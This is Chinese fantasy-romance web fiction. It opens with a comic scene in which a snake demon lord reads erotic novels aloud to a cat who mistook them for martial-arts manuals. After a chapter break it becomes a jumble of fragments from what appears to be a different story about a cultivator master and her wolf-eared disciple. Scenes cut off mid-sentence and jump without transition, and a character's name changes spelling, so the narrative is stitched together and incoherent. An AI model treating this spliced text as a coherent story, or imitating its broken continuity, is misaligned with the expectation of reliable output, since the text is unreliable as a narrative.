能够认识“个、十、百......”,就已经很了不起了。 晏岐却不知想到了什么,抱着猫停驻了脚步。 一蝴蝶一狗猝不及防,也跟着停下:“公子,怎么了?” “进去看看。” 说罢,抱着猫便走了进去。 蝴蝶和狗面面相觑着,连忙快步跟上。 书屋的掌柜是只鸡妖,胡须花白,有着轻微的斗鸡眼,鼻梁上还架着一对老花眼镜,嘴角叼着只烟斗,正躺在太师椅上悠悠翻着书。 许是平时就算有妖进了店也不会买,眼瞅着这会儿有人来了,鸡掌柜的态度也并不热络。 只是叼着烟斗,随意地挥了挥手,甚至连头也没抬:“书架旁有提篮,看上什么书自己拿,选完过来自觉结账就好。” 日尧这暴脾气自然是接受不了有妖用这样的态度对待自家尊上的。 拜托,这种小妖寻常连见到尊上的资格都没有,居然还敢这般冷落尊上。 要是让他知道此时此刻站在他面前的人是妖界尊主,还不得吓得屁滚尿流,直接过来参拜了? 正要闪身至鸡掌柜面前,给他点颜色瞧瞧,一只纤细的手忽地按住了日尧的手腕。 转眸,是戴着面纱的月女。 她无声地朝日尧摇了摇头,意思是:秘密出行,不要惹是生非,给尊上带来不必要的麻烦。 日尧:“......” 狗只是微微张大了嘴,看了看月女露在面纱外湛蓝色的眼睛,又低头瞅瞅少女攥在自己腕间的手。 不知想到了什么,才消退下去没多久的红晕又重新浮现了出来。 两息后,少年“唰”地一下就抽回了手,将两只手都背在了身后面,没有再多看少女一眼。 然后来到排排书架前,装模作样地翻阅起整齐摆放在书架上的各色书籍。 还没看出个所以然来,月女的声音就幽幽地从他身后飘过:“装什么装,看得懂吗你就搁这儿看?” 日尧:“......” 不儿,能不能善待狗,给狗留点自尊心啊! 至于晏岐这边—— “之前不是对本尊的那些书很感兴趣?”已经来到了另一侧的晏岐停在一座书架前,抬指拨弄着怀里小白猫耳朵尖尖上的小簇绒毛。 “本尊今日心情不错,可以给你一个机会。还想看些什么,本尊都可以给你买回去。” 小狸奴睁着双溜圆的漂亮鸳鸯眼,昂起猫猫头看着男人近在咫尺的优越下颌,又扭头看看书架上那些其实连名字她都还认不太全的书籍。 尽管猫已经很努力地在掩饰了,但晏岐还是一眼就看穿了小猫咪内心最真实的想法。 “看不懂?”晏岐轻笑,捏一捏小白猫的耳朵,“那之前还看得那么起劲?” 小白猫龇牙。 猫乐意,猫就爱看,要你管啊? 晏岐只是道:“没关系,本尊可以念给你听。” 闻言,猫立时就睁大眼睛,“蹭”地一下仰起小脑袋来,戴在头上的猫耳帽险些都要掉下去了。 像是在问。 当真?天底下居然还有这种好事? 晏岐:“本尊的话还能有假?” 那猫可就不客气了。 小白猫立马支起圆滚滚的身体,软乎乎的小短腿搭在檀木书架边缘,肉垫挨着拍了又拍。 虽然猫不怎么识字,但那些赫赫有名的武功秘籍,猫还是有所耳闻的。 这个这个,《九xxxxxx》,一定就是江湖流传的《九阴白骨爪秘籍》,猫要了。 那个那个,《xx肖(销)xx》,肯定就是失传多年的《黯然销魂掌》,猫也要了。 还有这边这个,《xxxx二十四x》,绝对就是大名鼎鼎的《金关玉锁二十四诀》,猫全部都要了! ...... 晏岐方才的注意力全都放在了猫的身上,以至于并未留意自己把猫带来了哪里。 这会儿视线从小白猫点明要的那些书籍上面一一掠过,男人眉梢微抬。 “你确定要买这些?” 小白猫点头如捣蒜。 那当然,猫十分确定以及肯定。 等猫学成归来,再渡劫成功,定要把你打得落花流水、跪地求饶。 一想到那副场景,虞窈就不由得心旷神怡,浑身都燃起了学习的斗志。 猫,日后定要惊艳众人,变成一只文武双全的猫! 晏岐狭长的眼尾轻挑,倒也没再多说什么。 他把小狸奴点到的书籍一一放进了装书的提篮里,淡声说道:“好。” 选完书,到鸡掌柜这儿来结账,在看清了每本书的名字后,月女的表情一下子就变得有些一言难尽起来。 “公子,这......” “猫要的。”晏岐淡淡扫了月女一眼。 男人没有再多说什么,意思却很明显。 不要多话。 被晏岐抱在怀里的小白猫此时昂首挺胸,十分得意地高高翘起了尾巴。 是猫挑的,全部都是猫挑的哦! 小蝴蝶是不是也被猫的熊熊好学之心给折服了? 没关系,人之常情罢了。 月女:“......” 就连叼着烟斗的鸡掌柜听了晏岐的话,也饶有兴味地瞥了他怀里的小白猫一眼。 乐呵呵地结了账。 只有日尧很不服气地立在一旁,垂着尾巴偷偷生闷气。 凭什么,狗不服。 为什么一只猫都能比狗有文化? - 回到妖殿后,高央先是陪着虞窈在庭院里玩了一会儿。 但小白猫今日明显有些心不在焉,满脑子想的都是买回来的那些武功秘籍。 就连小蝴蝶来了,用蝴蝶逗引着猫,猫都没有了扑追蝴蝶的心思。 没办法,月女只好把虞窈抱去了晏岐那里。 “尊上,今日出去一趟,小白似乎逛累了,属下便擅自把她抱了过来,望尊上恕罪。” “噢?是么?”正在运功调息的晏岐缓慢睁开了眼,墨绿色的竖瞳淡淡看向月女怀里精神恹恹的小白猫。 “本尊今日就没让猫自己下地走过一步,还能把猫给累着了不成?” 月女张口哑然:“这......” 好像还真是这样。 那是怎么一回事?小白又生病了? 却见小白猫不知是看见了什么,突然间来了兴致,抻着小短腿便不由分说地从月女的怀里蹦跶了下去。 平稳落地的同时,伴随着“扑通”一声。 妖殿震感明显。 小白猫三步并作两步地快速来到晏岐跟前,顺着晏岐的衣袍一角就要往几案上爬。 哪里还有方才在庭院里那幅没精打采的模样。 晏岐这次倒是没有用妖息了。 男人伸出手来,冰凉的大掌托着小狸奴的屁股墩,就这样将她稳稳送上了几案。 小白猫目标明确,咪咪喵喵地径直冲到了今天刚买回来的那些书籍跟前。 毛绒绒的小脑袋一拱,就把摆在最上面的书拱到了晏岐的手边上。 肉垫拍拍书的封皮,身后蓬松的大尾巴来回晃了又晃。 “喵。” 说好的,回来后蛇要念给猫听,可不许反悔喵。 看出了小白猫的意图,晏岐微微勾起唇角。 硕大的蛇尾在地毯上缓慢游移着,他懒声道:“原来是猫求知若渴,都无心玩耍了。” 小白猫十分骄傲地点点脑袋,笔直的双腿规规矩矩地立在身前,大尾巴也从身后绕过来,盘在了一双白手套上。 是很标准的猫猫坐姿。 没错没错。 猫要开始认真学习了,这次一定不会听着听着就睡过去,势必要卷鼠你丫! 晏岐挥了挥手,示意月女:“下去吧。” 月女看看晏岐跟前的小白猫,又看看被压在小白猫肉垫之下的书籍。 嘴唇嗫嚅了几下,像是想要说些什么。 最终却还是一个字都没有讲。 眨眼间便悄无声息地消失在了寝殿里,仿佛从来就没有出现过一样。 - 晏岐伸手,玉白的长指捏住书籍的边缘,想要把书从小白猫的肉垫底下给抽出来。 扯了扯,没能抽动。 没看出来,猫儿的力气还不小。 “不是要本尊念给你听?”晏岐以手支颐,墨黑的长发自然而然地滑过他的肩膀。 “不把书给本尊,本尊如何念给你听?” 噢,是哦。 猫这才松开了爪。 晏岐拿起那本书,翻来覆去地粗粗看了一下,最后一次向猫儿确认。 “当真要本尊给你念这本书听?” 小白猫点头如捣蒜。 买都买回来了,那不然呢? 晏岐于是懒洋洋地翻开了书的第一页:“好。” 这本书看起来其实和鸡掌柜的书屋一样,有些年头了。 纸张的边缘有点轻微的泛黄,就连书皮也有些皱皱巴巴。 不过没关系,武功秘籍嘛,在三界里流传了那么多年,更不知经了多少人或是妖的手,有些损坏的地方也很正常。 能学就行,猫才不会斤斤计较。 至于晏岐的声音很是低沉,或许和蛇的天性有关,他的语调通常也是和缓懒倦的。 只是不似冬日里的暖阳那般懒洋洋,靡丽的嗓音更显森冷阴郁,别有一番腔调。 而此时此刻,晏岐轻缓开口:“‘第一回:夜雨纵深湿花露,良辰春宵虚无度。’且说那日张郎醉酒后......” 刚听了个开头,猫就意识到了不对劲。 十分有一百分的不对劲。 一双猫猫眼窦然睁大,小白猫“咻”地一下子就扑到晏岐手边,软乎乎的肉垫不由分说地扒拉起他手里的书籍。 意思很明显:诶诶诶,我的武功秘籍上哪儿去了?你这念的都是些什么乱七八糟的玩意儿,是不是仗着猫不识字,在驴猫? 晏岐垂眸看着这会儿明显是慌了的小白猫,神色自若地歪了下头,平静道。 “不是你要本尊念这《黯然销魂夜》给你听的么?现在又是在作甚?” 《黯然销魂夜》......等等,她当时选的不是《黯然销魂掌》吗?! 小白猫不可置信地从晏岐手底下夺过书,粉色肉垫将书籍翻得凌乱。 然后十分绝望地发现,晏岐这条臭蛇好像真的没有在乱念。 因为就在这本《黯然销魂掌......啊不,夜》的中间,每隔几页就穿插着一幅不可描述的黑白画。 画面直白而又狂放,明示着这本书讲的到底都是些什么内容。 小狸奴目光呆滞,整只猫瘫坐在几案上,怀疑了好一会儿猫生。 忽然又想起来—— 既然这《黯然销魂掌》都能变成劳什子《黯然销魂夜》,那她要晏岐买的其他书岂不是也...... 小白猫立马就把买的第二本《九xxxxxx》拱到了晏岐手边。 晏岐竟也读懂了小白猫的意思,面不改色地继续说道:“是要换这本《九岐蛇尊爱惨我》听吗?” 猫:“?” 她又拱下来那本《xxxx二十四x》,肉垫用力拍拍书皮。 这本呢,这本总不会有错了吧? 晏岐顺手拿起:“看来,你还是对这本《与蛇尊的二十四夜》更感兴趣?” 猫:“......?” 小白猫立马就啪嗒啪嗒地连着往后退了好几步,毛绒绒的后背抵着摞起来的各色书籍以及奏信,那张鲜活生动的猫猫脸上也露出了“这不是真的”的表情。 救命,咪的天塌了。 难怪在结账的时候,月女和鸡掌柜要用那样的眼神看着自己; 难怪刚刚小蝴蝶被晏岐遣退前,会是那副欲言又止的模样; 难怪鸡掌柜的书屋生意能如此惨淡...... 卖的都是些什么破小黄书,这种不正经的店能有生意才奇了怪了。 查封!立马给猫查封掉! 晏岐却像是没有看出猫的崩溃,浓睫微敛,长指翻开了下一本书,从容不迫地继续说道。 “又或者,你更想听本尊给你念这本《带球跑十年,我与妖尊之间不可描述的爱恨情仇》?” 啊啊啊啊!我仇你个&%*¥#hf%! 小白猫想也不想就径直扑到了晏岐脸上,两只肉垫更是不由分说地堵住了他尚开合着的嘴唇。 你给猫闭嘴!不许再念了! 猫不听!猫不听!!! 该怎么说呢,这个画面其实是有一些......壮观的。 毕竟,受万妖尊崇的蛇尊会被一只小狸奴扑脸这种事,足以颠覆所有小妖的想象。 开什么玩笑?要是真有胆大包天的小猫咪敢对蛇尊做这般无礼的事情,早就被蛇尊的两名暗卫带去剥皮抽筋了。 然而此时此刻,晏岐却只是很轻地垂了下眼,真的如猫所愿,没有再继续说那些让猫觉着难为情的话。 与其说是被小狸奴堵住了嘴,更像是微微怔愣住了。 小白猫圆滚滚的身体此时都紧紧贴在了他的下颌以及脖颈上面,两只毛茸茸的后脚丫子居然也很会找着力点,就这样直接岔开,踩在了他的两侧锁骨之上。 养了这么一段时间,猫肉眼可见地吃胖了许多,身体也长大了不少。 就这么支着爪爪挂在脖颈上时,能清楚感觉到猫的份量。 不算沉,却极有存在感,不容忽视。 印象中,这似乎还是猫第一次主动愿意和他贴得这样近。 晏岐能够清楚地感受到猫温热柔软的身体,以及她近在咫尺,正在“扑通扑通”、铿锵有力的心跳。 毫无疑问,猫是柔软的,鲜活的。 还有些别的什么......晏岐其实也不知道究竟该如何形容了。 就像是一向擅长诗词歌赋的他,忽然之间也变成了一条丈育蛇,言语匮乏。 猫身上的味道同样也令晏岐感到新奇。 不是潮湿的苔藓,清冽的松竹,亦或是沉郁的熏香。 而是暖洋洋的太阳气息,草地鲜花的芬芳,以及各种吃食未散的味道。 还有一些别的说不上来的气味,也全部都混杂在了一起。 组成了独一无二的,可爱的小猫味道。 浓浓的小猫味扑面而来的时候,那软乎乎的肉垫还死死按压着他的嘴唇。 ——猫刚被剪了指甲,没有了锋利的爪尖,所以尽管这会儿雄赳赳气昂昂的架势瞧着很凶,却并不会挠伤蛇的脸。 倒是那纤长到近乎透明的胡须轻飘飘掠过面颊时,有一些痒。 晏岐轻缓地眯了眯眼。 粗长硕大的暗色蛇尾也停止了无意识的游动。 他忽然前所未有地觉着,自己的心有一点热。 对于向来冷血冷情的蛇尊而言,这其实是一种很奇怪的感觉。 偌大的寝殿一时间变得很安静,很安静。 就像是时间也跟着静止了一样。 以为晏岐是被自己的凶猛高大给威慑住了,小白猫再接再厉,咧了咧嘴,朝着晏岐就是很凶的一声。 “哈——” 哼,知道怕了吧? 怕就对喽。 还不快速速参拜猫猫大王。 却见晏岐那双墨绿色的深邃竖瞳一移不移地盯着自己。 片刻后,忽而很轻地弯了弯。 猩红的蛇信向外探出,近乎恶劣地、带着十足的恶趣味,不着痕迹地舔了猫的肉垫一下。 也就只是这么一下,小白猫便彻彻底底地呆滞住了。 哈气的动作骤然停滞下来,身后蓬松柔软的大尾巴顿时也不摇了。 ...他他他他他,这条臭蛇在干嘛?! 她还只是一只小猫! 小猫咪的脚脚是你这种臭蛇随随便便就可以舔的吗? 啊啊啊啊,娘亲,这里有变态啊,快来救猫! 虞窈下意识地想要后退,却忘了自己身后这会儿空无一物。 眼见着就要一脚踏空,向后跌去,一只冰凉的大掌却在这时候稳稳扶住了她毛茸茸的后脑勺。 是晏岐。 晏岐像是丝毫不认为自己做了什么了不得的事情般,只很轻地歪了歪头,目不转睛地继续盯着小狸奴那双漂亮而又生动的大眼睛。 忽而又微微张开唇,蛇的一对尖牙在唇下若隐若现,随即不轻不重地—— 咬了小狸奴抻着的小爪子一下。 做完这一切,骨节分明的玉白长指才拿起了搁置在几案上的最后一本书。 晏岐终于慢条斯理地移开眼,淡漠的视线落在了书的封皮上面。 “还是说,本尊就给你念这本《我的亲亲妖宠变成人后,母爱瞬间变质》。” “——当做你的睡前故事好了?”《 》 20、第二十章 第 20 章 第二十章(一更) 窗外,夕阳西下,红日微斜,赤霞漫天。 殿内,小白猫把寝殿角落里柔软的地毯扒拉得皱皱巴巴,再把自己变成一团猫猫球,骨碌碌地挤了进去。 那条像鸡毛掸子一样的松软大尾巴也盘了半圈收起来,与雪白的地毯完美融为一体,藏得严严实实。 就连新买的心爱朱红小斗篷在她这一系列窸窸窣窣的举动中掉落在了地上,表演了一出“金猫脱壳”,猫也没有心思去管。 没错。 猫自闭了。 猫这辈子再也不想学什么武功秘籍,也不想再当什么所谓的文化猫了。 什么破《九阴白骨爪》,什么破《黯然销魂掌》,什么破《金关玉锁二十四诀》 不仅把猫的耳朵给弄脏了,还害得猫的身体也跟着变脏了! 呜呜呜呜QAQ,有没有大夫来看看猫,猫不得劲。 还有你这条该死的臭蛇,猫跟你不共戴天,这辈子都不可能和解得了! 等猫恢复了妖力,飞升成了神仙猫,势必要掀翻你的妖殿,拔光你的蛇鳞,再把你骑在猫的身下,让你给猫当牛做马。 猫说到做到! 至于晏岐没有再管在角落里偷偷自闭的小白猫。 猫在忍无可忍地甩了他一巴掌后,便纵身一跃,猫猫祟祟地拱去角落里藏了起来。 她可不允许自己的小花再有任何贬低自我的迹象。 闻言,晏歧若有所思地沉默了片刻:“是么?”那毛茸茸的触感转瞬即逝,快到仿佛只是虞窈的错觉。 但在短暂的犹疑过后,虞窈更愿意相信自己的判断,方才扫过她脚踝的那物,绝对就是徒弟的尾巴。 颤动的结界、压抑的痛苦低吟、地上尚未完全干涸的血迹,以及此时用双手蒙住了她的眼睛、明显哪儿哪儿都不对劲的徒弟。 将这些都联系到一块儿,其实不难猜出究竟发生了些什么。 虞窈悬到嗓子眼的心终于放下一半。 至少徒弟现在还好端端地站在身后,没被九洲的人抓走就行好吧,徒弟目前的情况似乎也没有那么好。 又虚弱到连自个儿的狼尾巴都藏不住了。 虞窈在心里叹了口气,没有着急出声。翌日。 窗外艳阳高照,柔和的阳光透过缝隙倾泻进来,洒落满屋。 虞窈从睡梦中醒来,盯着屋内陌生又熟悉的装潢看了许久,才意识到自己正躺在自家徒弟的床上。 她掀开盖在身上的薄被,正要翻身下床时,房门倏地被人轻轻推开,颀长高瘦的黑发少年逆着光走了进来。 一夜过去,徒弟毛茸茸的狼耳和尾巴都消失不见了。 瞳孔也变成了平常用以示人的墨黑色,仿佛昨晚的电闪雷鸣和曾停留在掌心里那毛绒绒的触感都是虞窈做的一场梦。 徒弟接下来的话倒是证实了那些都是真实发生过的:“多谢师尊昨晚陪伴,否则弟子怕是要被那电闪雷鸣吓得不轻。” 闻言,虞窈不禁在心里暗诽:自家徒弟可真是上道,都这种时候了,居然还愿意陪着她装。 表面上则摆出师尊架子,镇定自若地“嗯”了一声:“区区小事而已,不必跟为师客气。” “不过,倘若今后再有这种情况发生,若晏歧你还是害怕的话,直接来找为师便是。” 晏歧乖顺地低下眉眼:“是,弟子记住了。” 虞窈这时候才注意到徒弟端在手里的朝食,瞧起来有几分陌生,便问。 “晏歧,你那盘子里盛着的是什么呀?” 晏歧回答道:“师尊,是青团。” “青团?”虞窈不免有些疑惑,“膳厅什么时候有这种朝食了?” 平时不都只有馒头包子小米粥这些传统早饭的吗。 “不是从膳厅那里拿回来的,是弟子做的。”晏歧神色平静地说道。 “师尊不是喜欢吃甜食吗,弟子便抽空去学了一点,还望师尊莫要嫌弃。” “什么?你做的?”闻言,虞窈颇为惊讶地睁大了眼。 徒弟不是天天都在忙着练剑修炼吗,他哪儿来的空闲时间去学做这种东西。 虞窈突然就生出一种自己和徒弟没有共用一个时间制度的错觉。 她向后伸出手,一寸寸试探性地摸索着,掠过细腻柔软的布料,终于再次摸到了那条毛茸茸的尾巴。 徒弟长高长大了,当初在那座山峦里摸过的那条尾巴也变得又大又软,不安分地在虞窈手中轻微颤抖着。 仿佛既贪恋师尊掌心柔软的触感,又怕会被师尊察觉到端倪。 最终到底是理智战胜了贪欲,那条尾巴的主人似是用上了全身仅剩的力气,想要将尾巴抽回。 与此同时,徒弟近乎破碎的音调哀求般在身后再度响起:“师尊。” 虞窈置若罔闻,不由分说地继续握着徒弟的尾巴。 手上没怎么用力,态度倒是很坚决,摆明了不让徒弟把尾巴收回去。 她用很是随意的语气说道:“呀,我们晏歧的尾巴居然都长这么大啦,摸着还真挺舒服的。” 听见她这一番话,身后的少年明显整个人都僵住了。 虞窈抓住这个间隙,迅速地转过身去。 在看到徒弟头顶两侧竖立着的东西后,更是有些意外地挑了挑眉。 “原来不光是尾巴,耳朵也冒出来了呀。” 晏歧此时的面色苍白得近乎透明,眼角与眼眶却红得厉害。 少年的呼吸很重,雪白的狼耳轻抖了抖,许是状态差极,好半天才能组织出一句完整的话。 微风拂起额前碎发,几息后,他忽而又低唤了声:“师尊。” 这种时候的虞窈格外地有耐心,语气也跟哄小孩儿似的:“师尊在呢,怎么啦?” 黑发少年专注地抬眼看着自己师尊,突然几不可察地弯了弯唇角:“师尊待我可真好。” “是天底下最好的师尊。” 闻言,虞窈先是一怔,旋即感觉到了一种莫大的成就感。 她仿佛看到了一只对什么都爱答不理的高冷小狗突然扭头看了她一眼,旋即“蹬蹬蹬”地跑了过来,用毛茸茸的脑袋好一番贴贴蹭蹭她。 是小狗对人类亲近认可的表现。 去孟城给自家徒弟买合身的新衣裳。 成衣铺的老板娘眼尖地认出了虞窈的修士身份,立马热情地迎了上来。 毕竟在孟城这样的地方,除了部分落魄潦倒的散修以外,多数修士都是比平常百姓要富有许多的。 所以在老板娘眼中,虞窈哪里是修士,分明就是来给自己送灵石的财神爷,不对财神爷热情一点简直都是罪过。 “您是山上连云宗的道长吧?您看看,想要买点什么,咱铺子里什么样的衣裳都有,再不济扯些布匹定做也成,做出来绝对包您满意。” 虞窈就把身后闷不做声的“小尾巴”推到身前,笑眯眯地说道:“晏歧自己挑挑,看上哪件就拿,师尊都给你买,不用想着替为师省灵石。” 言语间颇有一种暴发户不缺钱的气质。 老板娘这才发现,这位漂亮的道长身后原来还跟着一位半大少年。 少年瘦得跟个竹竿似的,比虞窈还要矮上半个头左右,像是成日里受尽了虐待,随便来个风一吹,就能被轻易吹跑了。 可听虞窈方才那话的意思,她应该是这位清隽少年的师父。 美得跟个天仙似的,看着也不像是会虐待自己家徒弟的人呐。 在孟城里开了许多年的成衣铺,老板娘什么样的人没有见过?自然清楚什么事才该问该说。 她面不改色地改换了热情的对象,立马堆起笑脸望向晏歧:“不知小道长喜欢什么样的衣裳?看上哪件都可以试穿的,您直接同我说就好。” 老板娘身上香到刺鼻的香露味扑面而来,晏歧下意识抿紧了唇,往师尊身边靠了又靠。 仿佛只有紧紧挨着虞窈,他才能有安全感似的。飞行法器不多时便降落在院落边。 等了半天的虞窈探了个头出来,只见到自家徒弟一人,便疑惑地“咦”了声。 “晏歧,远乐呢,怎么没跟你一起回来?” 晏歧如实回答道:“董师兄说他已辟谷,且之后还有事要做,就先走了。” “这样啊,”虞窈理解地点点头,“那他来找你是为的什么事啊?” 晏歧就将董远乐来送筑基丹的事一五一十都说了一遍。 “筑基丹?这孩子倒是有心,既是师兄当初为他准备的,想必不是什么凡品。” 虞窈摸摸下巴,忽然朝自家徒弟挤眉弄眼一番:“晏歧,你此番下山一趟,你跟远乐的关系就变得这么好啦?” 不然董远乐怎么会忙里偷闲,居然还专程跑来给自家徒弟送筑基丹。 晏歧敛着眼,没有回话。晏歧心里是不是这么想的,董远乐不知道。至少,他自己单方面是这样认为的。 只不过,同门里依然有弟子不怎么喜欢晏歧。 晏歧长得好看、天赋高也就算了,凭什么还能拥有一位像虞窈这么好的师尊?甚至就连跟他一起下了趟山的董师兄,回来后怎么都开始亲近起他来了呢。 对此愤愤不平的弟子趁着某日四下无人,特意把董远乐拉到一边,偷偷跟董远乐说小话。 “董师兄,我看那晏歧分明对你爱答不理的,你为何还要跟他走得那么近啊?这不纯粹就是热脸贴冷屁股么?” 董远乐浑不在意地摆摆手:“哎,刘师弟此言差矣。晏师弟他就是那种性子,看起来一副冷冰冰不太好相处的样子,其实人挺不错的。” 而且从山下历练回来后,董远乐平时练剑经常会拉着晏歧一起。 两人用木剑对练的时候,晏歧偶尔会指出董远乐的问题所在。 都是董远乐平时跟别人练剑时很难注意到的细节。 董远乐一边惊讶自己这个修为不如自己、入门也比自己晚了好几年的师弟在剑术上竟有如此高的天赋,一边觉得师尊谢青扬说得果然没错。 要想真正认识一个人,绝不能光看表面或是从别人那里道听途说。 最好的方法就是自己亲身去了解,这样才能知道对方究竟是个什么样的人。 一段日子相处下来,董远乐越看自己这个师弟越觉顺眼。 甚至就连师弟平时待人的那点冷冰冰,他都觉得这是师弟独一无二的个性。 简直酷极了! 那弟子见没能达到目的,还想要再接着说晏歧的坏话。 看出他的意图,饶是脾气好如董远乐,也不禁皱了眉。 “刘师弟,你要是再说晏师弟半点不是,被我听到了倒无所谓,可要是让虞师叔知道了,事情恐怕就不好收场了吧?” 言外之意就是,再接着说下去,他就要去找虞师叔告状了。 刘师弟是跟董远乐同一届入门的,对虞窈的印象不深,尚停留在“虞窈闭关了两百来年,是掌门最喜欢的弟子”这一阶段。 除此之外,虞窈对晏歧的重视弟子们倒是都有目共睹。 刘师弟见离间不成,只好灰溜溜又悻悻地走了。 虞窈就当他这是默认了,百般欣慰道。 “远乐是个好孩子,你要是能跟他成为好朋友,为师倒是能够放一百个心。” 闻言,一直沉默不言的黑发少年才忽然开口说话了。 “师尊,那我呢?”回到长青谷后,虞窈照例问起晏歧的功课。 她穿进来的时间点有些晚了,负责这届弟子剑术和术法的长老早已由柳至云定下,所以跟虞窈没什么关系。 不过虞窈也不是个什么事都不管的主儿,自是知道现在弟子们学的东西越来越难了。 她好歹是要攻略自家徒弟的,奈何自己这个徒弟实在是太让人省心,生活练功都不用人操心,也就只剩下日常关心功课这种好感度能给她刷刷了。 “目前功课暂时还能够跟上,师尊不用忧心。”晏歧道。 “是么,能跟上就好。”虞窈懒洋洋地抻了个懒腰,忽然起了兴致。 “你们最近学什么了,要不让为师看看?” 师尊有要求,晏歧自然不会不从。 他应了声好,随即便在指尖聚起灵气。 晏歧的灵气和他妖化时的眼睛颜色一样,是很漂亮的雾蓝色,看得人很是舒服,仿佛陆地上也能凭空生出一片湛蓝海洋。 那缕灵气很快化作一条涓涓细流,是晏歧今日在术法课上新学的水灵术。 晏歧对灵气的把控很是精妙,短短几息间,细流便神奇地在他指尖变幻了形状,渐渐凝成了一条水蛇的模样,蛇尾摇曳,看起来栩栩如生。 然而就在为水蛇加注灵气、为其赋予生命力的那一刻,晏歧的脑海里忽然鬼使神差地浮现出了董远乐在下课后同他说过的那些话。 他一时不察,被扰乱了心神,输注灵力的长指滞了一息。 施法者在施法期间分神可谓是使用术法的一项大忌,水蛇瞬时从中间断开,最终化成一场淅淅沥沥的雨,打湿了地面。 毫无疑问,这是一个施得很失败的水灵术。 水蛇崩断的一刹那,晏歧整个人都很明显地愣了一下。 下一秒,他便下意识地扭头看向了自己师尊,眸中掠过一丝轻微的慌乱。 他想告诉师尊,他其实是会水灵术的。 毕竟今天在上课的时候,他就是所有弟子当中施得最好的那一个,就连那位负责教习术法、对弟子们格外严厉的白长老都对他赞扬有加。 方才那只是意外,如果师尊再给他一次机会的话,他一定可以施好。 然而这些话统统都尚未来得及说出口,虞窈就已经快步走过来了。 不知是晏歧的错觉还是怎么,虞窈的步伐看起来甚至还有几分殷切。 好哇,她才想着没地儿可操心徒弟,机会居然就自己送上门来了。 虞窈努力藏起得逞的“嘴脸”,清清嗓子,手便搭上了自家徒弟手腕。 “施术法呢,讲究的就是一个一气呵成,晏歧你方才是不是走神了?” “不过,就算是走神也是可以补救回来的,但必须要及时做出调整,晏歧你刚刚只要这样” 虞窈握着徒弟的手,逮着好不容易得来的机会倾囊相授。 晏歧却只微微抬着头,一言不发地望着师尊那双栗褐色的漂亮眼睛。 或许是因为修炼的缘故,又可能是最近几个月不用再忍饥挨饿,尤其有师尊热衷于每天都变着花样投喂他。 总之,晏歧和师尊之间的身高差距越来越小,他也逐渐长成了一个十五岁大的少年应该有的模样。 除了师尊偶尔还会习惯性地摸摸他的头以外,他已经很久没有这么近距离地和师尊接触过了。 晏歧的视线缓慢下移,最终落在虞窈眼下那颗不算起眼的小痣上。吃完徒弟做的青团,徒弟照常出门上课,虞窈则被柳至云一记传讯玉牌叫去了主峰。 是想让虞窈去趟山下,到孟城临郊的村子里除妖。 据前来求助的村民们的描述,那妖近来已连续吃了村子里数十余人,然而村民们想尽各种办法,却是连妖的原型是什么都没瞧见,更别提想要合力诛杀这只妖了。 村民们实在是走投无路,所以才会专程找到连云宗来,请山上的道长前去除妖。 根据柳至云的猜测,这只作乱的邪物大概率是只河妖或是鱼妖。 近来孟城大雨,那村子又靠近河边,暴涨的河流同时滋生成了这一类妖的力量,这才致使平时都安分待在河下的精怪生出了灵智,竟都敢跑到岸上胡作非为来了。 像这种河妖啊鱼妖啊之类的妖都算小妖,修为一般不会超过金丹,即使有天气因素的加成,也绝不可能是金丹期修士的对手。 只可惜放眼整个连云宗,修为在金丹期以上的修士基本都被柳至云安排了别的事情做,唯二空闲着的除了掌门柳至云以外,就只剩下虞窈这个半道出关的关门弟子了。 区区一只金丹期以下的小妖而已,当然还轮不到柳至云这个掌门人出马,除妖的差事自然而然地就落到了虞窈头上。 虞窈听完了前因后果,二话不说便接下了这个任务。 原因无他,谁让她先前向柳至云保证了,她今后要给师父排忧解难呢。 更何况,虞窈的确是条咸鱼不假,能不自己做的事绝不亲自去做。 但柳至云待她着实不薄,要是连这点小事都推搡不去,她也没脸再和徒弟一起继续待在连云宗了。 虞窈目前修为已有金丹中期,没太将这只邪物当回事,唯一让她担心的唯独数自家小徒弟。 她先是拜托了柳至云帮忙照拂,转头又去了趟长月谷。 甫一见到谢青扬,便开门见山道:“师兄,师父交了个任务给我,我接下来要下山一段时间。” 余下的话尚未出口,谢青扬便头也不抬地接话道:“知道了。你不在的时候我会看好你那徒弟的,你就放宽心吧。” 什么都还没有来得及说就被抢先说完了所有台词的虞窈:“” 不是,她心里在想什么真的有这么好猜吗? 虞窈张口哑然,最后只悻悻地留下一句:“那便有劳师兄,有师兄这句话我就放心了。” 拜托完师父和师兄这边,虞窈对着练剑归来的徒弟又是好一顿千叮咛万嘱咐。 徒弟安静听着,忽然抬眼问师尊:“师尊,我不可以和你一起去吗?” 闻言,虞窈不由得弯唇轻笑起来:“区区一个金丹期以下的小妖而已,你跟着为师去干嘛?为师可不想到时候要一边除妖,一边还要忧心你到底有没有受伤呢。” 意料之中的回答,晏歧垂敛起眼睫,脸上并没有表现出多少失落。晏歧端着熬好的药推门进来的时候,谢青扬因为临时有事,已经先行离开了。 虞窈隔着大老远就闻到了那药散发出来的苦味,立马戴上痛苦面具,要徒弟把药放到一边,她过会儿再喝。 向来听话的徒弟这次却没有如师尊的愿:“师尊,张医修说了,这药趁热喝药效最好。” 虞窈试图耍赖:“可是它看起来就很烫的样子,晏歧你先放着吧,等它稍微凉一点我就喝。” 晏歧:“不烫,弟子方才已提前试过了,温度正好。” 虞窈绞尽脑汁,还想要再编点别的理由出来,抬头却对上自家徒弟那双漆黑的、没什么波澜起伏的眼。 她莫名觉得徒弟的这个眼神和平时有些不太一样了,更从中读出一股不容置辩的意味。 小狼崽子要翻天不成? 但念及自己此时带着伤,就算摆出师尊的架子也没有什么说服力,更何况,徒弟显然也是为了自己好。 虞窈默默在心里叹口气。 最终还是一鼓作气喝完了那碗苦得令人咋舌的药。 然后觉得冰清丸可能不会让她留下后遗症,但假如再尝到这个药味,她恐怕就要对这个药ptsd了。 虞窈连忙从徒弟手中接过蜜饯塞进嘴里,皱成一团的五官这才稍稍恢复如常。 口里的苦味尚未完全压下,侍奉在一旁的徒弟忽然就开了口:“师尊,我想去试练塔。” “嗯?”此时虞窈嘴里含着蜜饯,说起话来难免有些口齿不清。 她目露疑惑:“晏歧,你怎么突然想去试练塔了?” 试练塔是连云宗专门为门内弟子开设的一处秘境。 秘境里有许多用幻术幻化而成的妖兽,进入秘境的弟子可以通过与这些妖兽厮杀,快速增长自身修为,也能借此提升自己实战的能力。 晏歧并未抬眼,只是又凭空变出一颗蜜饯,乖顺递到师尊手边。 “是董师兄想去那里历练,顺道问的我。” 